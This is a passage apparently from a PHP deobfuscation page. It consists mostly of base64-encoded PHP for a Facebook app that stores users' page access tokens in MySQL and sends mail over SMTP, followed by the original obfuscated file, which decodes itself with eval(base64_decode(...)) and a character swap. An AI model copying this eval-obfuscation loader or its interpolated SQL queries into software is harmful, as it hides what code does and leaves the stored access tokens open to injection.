NFVCAzczVyXzRwID0gJyRfbzBvOURBdWVFOGlDNjBBYUFvYWVhMGU3YTk3RkM4b2knLCAzczVyX2MyM250cnkgPSAnJGMyM250cnknIFdIRVJFIDNzNXJfNGQgPSAnJDNzNXJfNGQnIik7DQp9DQpmM25jdDQybiBfREY4QjdpRDA4OWlERUZpRDhGRkZBZWE2RmFGYTlEQTkoKQ0Kew0KICAgIGdsMmIxbCAkMzRkLCAkM3M1cl80ZCwgJF84bzg4ZUZ1Q0FCRHVEQXUwRGU3NjdDNzg3Q284RGVpOSwgJHM1dHQ0bmc7DQogICAgNGYgKCFzdHJwMnMoJHM1dHQ0bmdbJ3M1dHQ0bmdfcDVybTRzczQybnMnXSwgIm0xbjFnNV9wMWc1cyIpKSB7DQogICAgICAgIHI1dDNybjsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgICAgJHAxZzVzID0gJF84bzg4ZUZ1Q0FCRHVEQXUwRGU3NjdDNzg3Q284RGVpOS0+MXA0KCcvbTUvMWNjMjNudHM/ZjQ1bGRzPW4xbTUsZjFuX2MyM250LGMxbl9wMnN0Jyk7DQogICAgICAgICRwMWc1cyA9ICRwMWc1c1tkMXQxXTsNCiAgICAgICAgJGYxbnMgPSAiZjFuX2MyM250IjsNCiAgICB9DQogICAgYzF0Y2ggKEYxYzViMjJrQXA0RXhjNXB0NDJuICQ1KSB7DQogICAgICAgICRtNXNzMWc1ID0gJDUtPl9fdDJTdHI0bmcoKTsNCiAgICAgICAgNGYgKHN0cnAycygkbTVzczFnNSwgIlVua24yd24gZjQ1bGRzOiBmMW5fYzIzbnQiKSkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkcDFnNXMgPSAkXzhvODhlRnVDQUJEdURBdTBEZTc2N0M3ODdDbzhEZWk5LT4xcDQoJy9tNS8xY2MyM250cz9mNDVsZHM9bjFtNSxsNGs1cyxjMW5fcDJzdCcpOw0KICAgICAgICAgICAgICAgICRwMWc1cyA9ICRwMWc1c1tkMXQxXTsNCiAgICAgICAgICAgICAgICAkZjFucyA9ICJsNGs1cyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjMXRjaCAoRjFjNWIyMmtBcDRFeGM1cHQ0Mm4gJDUpIHsNCiAgICAgICAgICAgICAgICBfYURFQUNhRGk5OUM2N2llN2VCN0JpN2llaUM5QkM3RDcoJDUsICQzNGQsICJFUlJPUiIsICJQQUdFIik7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICBfYURFQUNhRGk5OUM2N2llN2VCN0JpN2llaUM5QkM3RDcoJDUsICQzNGQsICJFUlJPUiIsICJQQUdFIik7DQogICAgICAgIH0NCiAgICB9DQogICAgNWNoMiAoIiAiKTsNCiAgICBfYUIwQjBBNkJERWF1aXU5aWU3QUJERDhEOTBDRkJBRTcoKTsNCiAgICAkX2FFdTlEdTY4MEY2OWFvNmlCdTk2ZTA4MER1MEZDOTdEID0gMDsNCiAgICA0ZiAoczR6NTJmKCRwMWc1cykgPiAwKSB7DQogICAgICAgIGYycjUxY2ggKCRwMWc1cyAxcyAkcDFnNSkgew0KICAgICAgICAgICAgNGYgKCRwMWc1WyRmMW5zXSA+IDAgJiYgJHAxZzVbJ2Mxbl9wMnN0J10gPT0gNikgew0KICAgICAgICAgICAgICAgICRwMWc1WyduMW01J10gPSBkYl81c2MxcDUoJHAxZzVbJ24xbTUnXSk7DQogICAgICAgICAgICAgICAgJF84YXVhYTBBYUEwNmVlNkF1OGU4OGVEZTZhMHVFQXVvRiA9IG15c3FsX3EzNXJ5KCJTRUxFQ1QgcDFnNV80ZCBGUk9NIHAxZzVzIFdIRVJFIHAxZzVfcDRkID0gJ3skcDFnNVsnNGQnXX0nIEFORCBwMWc1XzFwcDRkID0gJ3skczV0dDRuZ1snczV0dDRuZ18xcHBfNGQnXX0nIikgMnINCiAgICAgICAgICAgICAgICAgICAgZDQ1KGRiXzVycjJyKCkpOw0KICAgICAgICAgICAgICAgIDRmICghbXlzcWxfbjNtX3Iyd3MoJF84YXVhYTBBYUEwNmVlNkF1OGU4OGVEZTZhMHVFQXVvRikpIHsNCiAgICAgICAgICAgICAgICAgICAgbXlzcWxfcTM1cnkoIklOU0VSVCBJTlRPIHAxZzVzKHAxZzVfM3M1cl80ZCwgcDFnNV9wNGQsIHAxZzVfbjFtNSwgcDFnNV9mMW5zLCBwMWc1XzFjYzVzc3QyazVuLCBwMWc1XzFwcDRkKSBWQUxVRVMoJyQzczVyXzRkJywgJ3skcDFnNVsnNGQnXX0nLCAneyRwMWc1WyduMW01J119JywgJ3skcDFnNVskZjFuc119JywgJ3skcDFnNVsnMWNjNXNzX3QyazVuJ119JywgJ3skczV0dDRuZ1snczV0dDRuZ18xcHBfNGQnXX0nKSIpIDJyDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoZGJfNXJyMnIoKSk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHAxZzVfNGQgPSBteXNxbF9yNXMzbHQoJF84YXVhYTBBYUEwNmVlNkF1OGU4OGVEZTZhMHVFQXVvRiwgMCwgMCk7DQogICAgICAgICAgICAgICAgICAgIG15c3FsX3EzNXJ5KCJVUERBVEUgcDFnNXMgU0VUIHAxZzVfMWNjNXNzdDJrNW4gPSAneyRwMWc1WycxY2M1c3NfdDJrNW4nXX0nLCBwMWc1X2YxbnMgPSAneyRwMWc1WyRmMW5zXX0nIFdIRVJFIHAxZzVfNGQgPSAnJHAxZzVfNGQnIikgMnINCiAgICAgICAgICAgICAgICAgICAgICAgIGQ0NShkYl81cnIycigpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJF9hRXU5RHU2ODBGNjlhbzZpQnU5NmUwODBEdTBGQzk3RCsrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIG15c3FsX3EzNXJ5KCJVUERBVEUgM3M1cnMgU0VUIDNzNXJfcDFnNXMgPSAnJF9hRXU5RHU2ODBGNjlhbzZpQnU5NmUwODBEdTBGQzk3RCcgV0hFUkUgM3M1cl8zNGQgPSAnJDM0ZCciKTsNCn0NCmYzbmN0NDJuIF9pMDk3dW9FQ2k3RkVCQ0NDdUVhQURlOUFDYURCN0VDOSgpDQp7DQogICAgZ2wyYjFsICRmcjQ1bmRzLCAkM3M1cl80ZCwgJHM1dHQ0bmc7DQogICAgNGYgKHM0ejUyZigkZnI0NW5kcykgPiAwKSB7DQogICAgICAgICRmcjQ1bmRfZjRkcyA9IDRtcGwyZDUoIiwiLCAkZnI0NW5kcyk7DQogICAgICAgICRfOGF1YWEwQWFBMDZlZTZBdThlODhlRGU2YTB1RUF1b0YgPSBteXNxbF9xMzVyeSgiU0VMRUNUIGZyNDVuZF80ZCBGUk9NIGZyNDVuZHMgV0hFUkUgZnI0NW5kXzNzNXJfNGQgPSAnJDNzNXJfNGQnIEFORCBmcjQ1bmRfMXBwNGQgPSAneyRzNXR0NG5nWydzNXR0NG5nXzFwcF80ZCddfSciKTsNCiAgICAgICAgNGYgKCFteXNxbF9uM21fcjJ3cygkXzhhdWFhMEFhQTA2ZWU2QXU4ZTg4ZURlNmEwdUVBdW9GKSkgew0KICAgICAgICAgICAgbXlzcWxfcTM1cnkoIklOU0VSVCBJTlRPIGZyNDVuZHMoZnI0NW5kXzNzNXJfNGQsIGZyNDVuZF9mNGRzLCBmcjQ1bmRfMXBwNGQpIFZBTFVFUygnJDNzNXJfNGQnLCAnJGZyNDVuZF9mNGRzJywgJ3skczV0dDRuZ1snczV0dDRuZ18xcHBfNGQnXX0nKSIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJGZyNDVuZF80ZCA9IG15c3FsX3I1czNsdCgkXzhhdWFhMEFhQTA2ZWU2QXU4ZTg4ZURlNmEwdUVBdW9GLCAwLCAwKTsNCiAgICAgICAgICAgIG15c3FsX3EzNXJ5KCJVUERBVEUgZnI0NW5kcyBTRVQgZnI0NW5kX2Y0ZHMgPSAnJGZyNDVuZF9mNGRzJyBXSEVSRSBmcjQ1bmRfNGQgPSAnJGZyNDVuZF80ZCciKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmYzbmN0NDJuIF9hREVBQ2FEaTk5QzY3aWU3ZUI3Qmk3aWVpQzlCQzdENygkbTVzczFnNSA9ICIiLCAkMzRkID0gIiIsICRzdDF0M3MgPQ0KICAgICIiLCAkdHlwNSA9ICIiLCAkajJiXzRkID0gIiIpDQp7DQogICAgZ2wyYjFsICRzNXR0NG5nOw0KICAgICRzcWx0NG01ID0gZDF0NSgiWS1tLWQgSDo0OnMiLCB0NG01KCkpOw0KICAgIDRmIChnNXR0eXA1KCRtNXNzMWc1KSA9PSAiMmJqNWN0Iikgew0KICAgICAgICAkbTVzczFnNSA9ICRtNXNzMWc1LT5fX3QyU3RyNG5nKCk7DQogICAgfQ0KICAgIDRmICghc3RycDJzKCRtNXNzMWc1LCAiVW5rbjJ3biBmNDVsZHM6IGYxbl9jMjNudCIpKSB7DQogICAgICAgICRtNXNzMWc1ID0gZGJfNXNjMXA1KCRtNXNzMWc1KTsNCiAgICAgICAgbXlzcWxfcTM1cnkoIklOU0VSVCBJTlRPIGwyZ3MobDJnX201c3MxZzUsIGwyZ18zNGQsIGwyZ19zdDF0M3MsIGwyZ190eXA1LCBsMmdfajJiXzRkLCBsMmdfMXBwNGQsIGwyZ19jcjUxdDVkKSBWQUxVRVMoJyRtNXNzMWc1JywgJyQzNGQnLCAnJHN0MXQzcycsICckdHlwNScsICckajJiXzRkJywneyRzNXR0NG5nWydzNXR0NG5nXzFwcF80ZCddfScsICciIC4NCiAgICAgICAgICAgICRzcWx0NG01IC4gIicpIik7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gX3VDaUNFQjdpb2E5RUFBOXVvNkFldTBvRGFCdWFlb0I5KCRfOGlhNnU5aURBQTg4QzlFaWFDaUFlRWFvdThpYTh1MHUpDQp7DQogICAgcjV0M3JuICRfOGlhNnU5aURBQTg4QzlFaWFDaUFlRWFvdThpYTh1MHU7DQp9ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocCBmM25jdDQybiBfQ0M5YW91N0NCaW9EZUVlb0MwNjdlaUVFdWV1QzdpZUYoJHM0Z241ZF9yNXEzNXN0LCAkczVjcjV0KQ0Kew0KICAgIGw0c3QoJF9BNzBCOThEQzhEQzdhREZBbzlFQ0VEdUR1Qjc4QzBGZSwgJF85N2lFQnVDOUE2MEI5YURCQzg5bzZFN0ZCb2VEYWFDOCkgPQ0KICAgICAgICA1eHBsMmQ1KCcuJywgJHM0Z241ZF9yNXEzNXN0LCBhKTsNCiAgICAkczRnID0gX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfQTcwQjk4REM4REM3YURGQW85RUNFRHVEdUI3OEMwRmUpOw0KICAgICRkMXQxID0ganMybl9kNWMyZDUoX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfOTdpRUJ1QzlBNjBCOWFEQkM4OW82RTdGQm9lRGFhQzgpLCB0cjM1KTsNCiAgICA0ZiAoc3RydDIzcHA1cigkZDF0MVsnMWxnMnI0dGhtJ10pICE9PSAnSE1BQy1TSEFhaWUnKSB7DQogICAgICAgIDVycjJyX2wyZygnVW5rbjJ3biAxbGcycjR0aG0uIEV4cDVjdDVkIEhNQUMtU0hBYWllJyk7DQogICAgICAgIHI1dDNybiBuM2xsOw0KICAgIH0NCiAgICAkX282Q0E4YWUwQ3VEQjhpQzhpMGU5ODhlb28wOWk3dTBhID0gaDFzaF9obTFjKCdzaDFhaWUnLCAkXzk3aUVCdUM5QTYwQjlhREJDODlvNkU3RkJvZURhYUM4LA0KICAgICAgICAkczVjcjV0LCAkXzY4OW9FRTlhNkQ4aW9pRnVDaTZvYW82QjhCZWVCb0ZCID0gdHIzNSk7DQogICAgNGYgKCRzNGcgIT09ICRfbzZDQThhZTBDdURCOGlDOGkwZTk4OGVvbzA5aTd1MGEpIHsNCiAgICAgICAgNXJyMnJfbDJnKCdCMWQgUzRnbjVkIEpTT04gczRnbjF0M3I1IScpOw0KICAgICAgICByNXQzcm4gbjNsbDsNCiAgICB9DQogICAgcjV0M3JuICRkMXQxOw0KfQ0KZjNuY3Q0Mm4gX29lRjA3RWFDMGFpYUQ5RjZ1NjA4dTdpQjkwRTZBMDlDKCRfMDY3RTlvbzc4YURDQ0VEQWF1ZUVvYTBCNkI2b0VpZTcpDQp7DQogICAgcjV0M3JuIGIxczVldV9kNWMyZDUoc3RydHIoJF8wNjdFOW9vNzhhRENDRURBYXVlRW9hMEI2QjZvRWllNywgJy1fJywgJysvJykpOw0KfQ0KZjNuY3Q0Mm4gX0Y3Q0M3YUMwaTgwOHVCOTdhOTBEQTdhRWlBRjhFQ0JlKCRfN0NDODhGQ2llRUM3NzAwdXVGNzY3dTlDYWVvdTgwb0MsICRfRDBCMHU3OHVhYUZlQ2E2RnVGOEU5aURhaW9DODgwQUYsDQogICAgJHQyLCAkX0JDRDZhNjBFQWl1Q3VGQmVDaTlDQURDQThhb2llMGk3LCAkXzYwQTZCRjdvZXU2MDllMGFGRTg5ODc3Q2llQkV1RDAwLCAkbTVzczFnNSkNCnsNCiAgICBnbDJiMWwgJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOCwgJG0xNGxfNHNodG1sLCAkbTE0bF80ZDsNCiAgICAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4ID0gbXlzcWxfZjV0Y2hfMXNzMmMobXlzcWxfcTM1cnkoIlNFTEVDVCAqIEZST00gbTE0bF9zNXR0NG5ncyIpKTsNCiAgICAkXzdBRkFDOURGaUFFRUFhMDhvQzc4b0I2MEZBZW83YWFEID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX3M1cnY1ciJdOw0KICAgICRwMnJ0ID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX3AycnQiXTsNCiAgICAkX29pZWlBaUU3MG9CQ2FvQjY5MDhGZWk4OEIwZUFpaURDID0gInVpIjsNCiAgICAkM3M1cm4xbTUgPSAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4WyJzNXR0NG5nX3NtdHBfM3M1cm4xbTUiXTsNCiAgICAkcDFzc3cycmQgPSAkXzhpQXVvQjZCQjZhaUY4QTBFOURDOEE3Nzk5bzYwRmU4WyJzNXR0NG5nX3NtdHBfcDFzc3cycmQiXTsNCiAgICAkbDJjMWxoMnN0ID0gJF84aUF1b0I2QkI2YWlGOEEwRTlEQzhBNzc5OW82MEZlOFsiczV0dDRuZ19zbXRwX2QybTE0biJdOw0KICAgICRfbzBCQ0ZDN0J1QUFFdTB1b2lBRUZCQURCRkQ4ZTA5aW8gPSAiXHJcbiI7DQogICAgJF9COXU5RkVDNkMwOUZvaUNpRkRDMEM2RkRFb0E4ODB1OSA9IDA7DQogICAgJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSA9IGZzMmNrMnA1bigkXzdBRkFDOURGaUFFRUFhMDhvQzc4b0I2MEZBZW83YWFELA0KICAgICAgICAkcDJydCwgJF9EaWlhRWlvMEFpRm9ENkJFRkI3Q3VpQm9GQzg4Nzc3QywgJF9haUQ5OWE4bzY4RjdERDk5NjdldUFlQTc4REVBQ0U5RiwgJF9vaWVpQWlFNzBvQkNhb0I2OTA4RmVpODhCMGVBaWlEQyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgIDRmICg1bXB0eSgkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBKSkgew0KICAgICAgICAkX0REQXVBQWFhdXU3aTZvN0ZDQUZGYTlpOGFpRjg2YWVEID0gIkYxNGw1ZCB0MiBjMm5uNWN0OiAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICAgICAgX0ZlQWlpYXU4OW9lQjBFRmk5QzlFdUQ4ZW9GaUI2NzBEKCRfRERBdUFBYWF1dTdpNm83RkNBRkZhOWk4YWlGODZhZUQsICJFUlJPUiIsICRtMTRsXzRkKTsNCiAgICAgICAgcjV0M3JuICRfRERBdUFBYWF1dTdpNm83RkNBRkZhOWk4YWlGODZhZUQ7DQogICAgfSA1bHM1IHsNCiAgICAgICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnYzJubjVjdDQybiddID0gIjxwPkMybm41Y3Q1ZCB0MjogJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgfQ0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJIRUxPICRsMmMxbGgyc3QiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJ2g1bDJyNXNwMm5zNWEnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiQVVUSCBMT0dJTiIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnMTN0aHI1cTM1c3QnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCBiMXM1ZXVfNW5jMmQ1KCQzczVybjFtNSkgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnMTN0aDNzNXJuMW01J10gPSAiJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgZnAzdHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwgYjFzNWV1XzVuYzJkNSgkcDFzc3cycmQpIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbyk7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJzEzdGhwMXNzdzJyZCddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJNQUlMIEZST006IDwkXzdDQzg4RkNpZUVDNzcwMHV1Rjc2N3U5Q2Flb3U4MG9DPiIgLg0KICAgICAgICAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnbTE0bGZyMm1yNXNwMm5zNSddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJSQ1BUIFRPOiA8JHQyPiIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnbTE0bHQycjVzcDJuczUnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiREFUQSIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsnZDF0MTZyNXNwMm5zNSddID0gIiRfYXVFdTdlRTZBbzY2aTY4OWFhaWVlQ0E5YUVvRXVBN2kiOw0KICAgICRfRWUwYTdpdUVDMEJCb2lFbzdpOUFBQmVvMEY3NzdGQXUgPSAiTUlNRS1WNXJzNDJuOiA2LjAiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICA0ZiAoJG0xNGxfNHNodG1sID09IDYpIHsNCiAgICAgICAgJF9FZTBhN2l1RUMwQkJvaUVvN2k5QUFCZW8wRjc3N0ZBdSAuPQ0KICAgICAgICAgICAgIkMybnQ1bnQtdHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LTYiIC4gJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICB9DQogICAgJF9FZTBhN2l1RUMwQkJvaUVvN2k5QUFCZW8wRjc3N0ZBdSAuPSAiVDI6ICRfQkNENmE2MEVBaXVDdUZCZUNpOUNBRENBOGFvaWUwaTcgPCR0Mj4iIC4NCiAgICAgICAgJF9vMEJDRkM3QnVBQUV1MHVvaUFFRkJBREJGRDhlMDlpbzsNCiAgICAkX0VlMGE3aXVFQzBCQm9pRW83aTlBQUJlbzBGNzc3RkF1IC49ICJGcjJtOiAkX0QwQjB1Nzh1YWFGZUNhNkZ1RjhFOWlEYWlvQzg4MEFGIDwkXzdDQzg4RkNpZUVDNzcwMHV1Rjc2N3U5Q2Flb3U4MG9DPiIgLg0KICAgICAgICAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvOw0KICAgIGZwM3RzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsICJTM2JqNWN0OiAkXzYwQTZCRjdvZXU2MDllMGFGRTg5ODc3Q2llQkV1RDAwXHJcbiRfRWUwYTdpdUVDMEJCb2lFbzdpOUFBQmVvMEY3NzdGQXVcclxuXHJcbiRtNXNzMWc1XHJcbi5cclxuIik7DQogICAgJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSA9IGZnNXRzKCRfbzdGZUI4N2lDRGlGN0MwQXVDb2lGRTZBRWE4OWFpRUEsDQogICAgICAgIHUwOWUpOw0KICAgICRfb0VEaUN1b0QwdTBBb2UwRDhlNjA3Qmk4RGlCYUY3NnVbJ2QxdDFhcjVzcDJuczUnXSA9ICIkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpIjsNCiAgICBmcDN0cygkX283RmVCODdpQ0RpRjdDMEF1Q29pRkU2QUVhODlhaUVBLCAiUVVJVCIgLiAkX28wQkNGQzdCdUFBRXUwdW9pQUVGQkFEQkZEOGUwOWlvKTsNCiAgICAkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpID0gZmc1dHMoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSwNCiAgICAgICAgdTA5ZSk7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsncTM0dHI1c3AybnM1J10gPSAiJF9hdUV1N2VFNkFvNjZpNjg5YWFpZWVDQTlhRW9FdUE3aSI7DQogICAgJF9vRURpQ3VvRDB1MEFvZTBEOGU2MDdCaThEaUJhRjc2dVsncTM0dGMyZDUnXSA9IHMzYnN0cigkX2F1RXU3ZUU2QW82Nmk2ODlhYWllZUNBOWFFb0V1QTdpLA0KICAgICAgICAwLCBvKTsNCiAgICBmY2wyczUoJF9vN0ZlQjg3aUNEaUY3QzBBdUNvaUZFNkFFYTg5YWlFQSk7DQogICAgcjV0M3JuICgkX29FRGlDdW9EMHUwQW9lMEQ4ZTYwN0JpOERpQmFGNzZ1KTsNCn0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCdqczJuX2Q1YzJkNScpKSB7DQogICAgZjNuY3Q0Mm4ganMybl9kNWMyZDUoJGpzMm4pDQogICAgew0KICAgICAgICAkYzJtbTVudCA9IGYxbHM1Ow0KICAgICAgICAkMjN0ID0gJyR4PSc7DQogICAgICAgIGYyciAoJDQgPSAwOyAkNCA8IHN0cmw1bigkanMybik7ICQ0KyspIHsNCiAgICAgICAgICAgIDRmICghJGMybW01bnQpIHsNCiAgICAgICAgICAgICAgICA0ZiAoKCRqczJuWyQ0XSA9PSAneycpIHx8ICgkanMyblskNF0gPT0gJ1snKSkNCiAgICAgICAgICAgICAgICAgICAgJDIzdCAuPSAnIDFycjF5KCc7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoKCRqczJuWyQ0XSA9PSAnfScpIHx8ICgkanMyblskNF0gPT0gJ10nKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgLj0gJyknOw0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJGpzMm5bJDRdID09ICc6JykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMjN0IC49ICc9Pic7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDIzdCAuPSAkanMyblskNF07DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAkMjN0IC49ICRqczJuWyQ0XTsNCiAgICAgICAgICAgIDRmICgkanMyblskNF0gPT0gJyInICYmICRqczJuWygkNCAtIDYpXSAhPSAiXFwiKQ0KICAgICAgICAgICAgICAgICRjMm1tNW50ID0gISRjMm1tNW50Ow0KICAgICAgICB9DQogICAgICAgIDV2MWwoJDIzdCAuICc7Jyk7DQogICAgICAgIHI1dDNybiAkeDsNCiAgICB9DQp9DQpmM25jdDQybiAxZGRfZjRsdDVyKCQybiwgJF9EOEJlNkJlYWVEQkNFQWFGQmllMDBpYUVDRW9vaUJpdSkNCnsNCiAgICBnbDJiMWwgJF9FQkNvNnVCRWlBQmFldUE3QWlEaW9pNkJhRjhDN0FlRjsNCiAgICAkX0VCQ282dUJFaUFCYWV1QTdBaURpb2k2QmFGOEM3QWVGWyQybl1bXSA9ICRfRDhCZTZCZWFlREJDRUFhRkJpZTAwaWFFQ0Vvb2lCaXU7DQp9DQpmM25jdDQybiBjMm50NW50X2Y0bHQ1cigkYzJudDVudCkNCnsNCiAgICBnbDJiMWwgJF9FQkNvNnVCRWlBQmFldUE3QWlEaW9pNkJhRjhDN0FlRjsNCiAgICBmMnI1MWNoICgkX0VCQ282dUJFaUFCYWV1QTdBaURpb2k2QmFGOEM3QWVGWydjMm50NW50X2Y0bHQ1ciddIDFzICRfRkY2QUFlQ0NpQThDQ0FDN28wQzhCZThpZUIwZUUwREQpIHsNCiAgICAgICAgJGMybnQ1bnQgPSBjMWxsX